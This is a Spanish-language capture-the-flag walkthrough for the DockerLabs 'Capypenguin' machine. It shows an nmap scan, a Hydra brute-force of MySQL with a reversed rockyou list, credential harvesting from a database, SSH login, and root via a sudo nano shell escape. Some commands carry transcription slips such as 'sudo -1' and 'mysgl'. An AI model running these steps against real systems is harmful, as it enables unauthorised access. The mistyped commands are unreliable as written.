🦹 Máquinas Ciberseguridad > 🚳 DockerLabs

10. Máquina: Capypenguin (Fácil)

- 1. Descubrimiento de puertos y servicios con Nmap:
 - Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando: nmap -sVC 172.17.0.2
 - Resultado: Se encontraron los servicios ssh, http y mysgl abiertos.

2. Inspección Servicio HTTP:

 Primeramente, vamos a navegar e inspeccionar la página web sobre el servicio HTTP abierto. Vemos un mensaje de:

Hola **capybarauser**, esta es una web de capybaras.He securizado mi password, ya no se encuentra al comienzo del rockyou..., espero que nadie use el comando tac y se fije en las últimas passwords del rockyou, **así que a** continuación realizaremos la pista mostrada en la web.

3. Ataque de fuerza bruta con Hydra y Reverse Rockyou:

- Realizamos un ataque de fuerza bruta contra el servicio mysql usando la herramienta Hydra utilizando el nombre de usuario Mario y las contraseñas de rockyou.txt, pero en orden invertido, como indica la pista. Además, las primeras líneas del reverse_rockyou.txt vienen con caracteres no leíbles, por lo que hay que quitar estos para su utilización.
 - Comandos: tac /usr/share/wordlists/rockyou.txt > rockyou_reverse.txt '#(eliminando caracteres no leíbles inicio) hydra -l capybarauser-P rockyou reverse.txt 172.17.0.2 mysql
 - Resultado: Se encontró la contraseña "ie168" para el usuario "capybarauser".

```
(root@ kali)-[/home/_/Desktop/Dockerlabs/Facil/capypenguin]
hydra -l capybarauser -P rockyou_reverse.txt 172.17.0.2 mysql
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-25 06:34:22
[IMFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399),
[DATA] attacking mysql://172.17.0.2:3306/
[3306][mysql] host: 172.17.0.2 login: capybarauser password: ie168
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-25 06:34:26
```

4. Conexión MYSQL a la máquina víctima:

- Nos conectamos al servicio mysgl de la máquina víctima con las credenciales encontradas.
 - Comando: mysql -u capybarauser -p -h 172.17.0.2, contraseña: ie168
 - Resultado: Nos encontramos dentro del servicio mysql en el usuario capybarauser en la máquina victima.

5. Queries MYSQL vícitma navegación:

- Una vez dentro del servicio mysal, podemos ir navegando por ella usando queries y obteniendo la información pertinente sobre las bases de datos disponibles, tablas y entradas.
 - Comandos: SHOW databases; USE pinguinasio_db; SHOW tables; SELECT * FROM users;
 - Resultado: Obtenemos información del esquema mysql, obteniendo las entradas de los usuarios disponibles y sus respectivas contraseñas.

• 6. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas en la tabla users del servicio mysql.
 - Comando: ssh mario@172.17.0.2
 - Resultado: Nos encontramos dentro del usuario mario en la máquina victima (ingresando password pinguinomolon123)

• 7. Verificación de Permisos de Sudo para Mario:

- Una vez dentro del usuario mario, vamos a verificar los permisos que tiene este usuario sobre la máquina víctima.
 - Comandos: sudo -1 | find / -perm -4000 2>/dev/null
 - Resultado: Con sudo -1, descubrimos que puede ejecutar el binario /usr/bin/nano sin necesidad de contraseña: (ALL: ALL) NOPASSWD: /usr/bin/nano

• 8. Escalado de Privilegios para Mario:

- Habiendo observado que mario puede ejecutar binarios nano, buscamos un exploit en Nano para realizar la
 escalada de privilegios en # GTFOBins .
 - Comando: sudo nano CTRL+R -> CTRL+X reset; bash 1>&0 2>&0
 - Resultado: Ejecutamos el comando dentro del editor nano y obtenemos acceso como usuario root en la máquina víctima desde el usuario Mario. ¡Fin de la resolución!

